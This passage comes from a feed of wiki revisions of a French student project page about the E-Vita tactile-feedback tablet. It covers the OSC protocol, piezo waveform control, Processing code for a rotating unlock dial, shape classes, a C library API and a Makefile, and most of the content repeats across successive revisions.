Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38621</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38621"/>
				<updated>2017-02-06T16:34:33Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à Outils Bas Niveau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
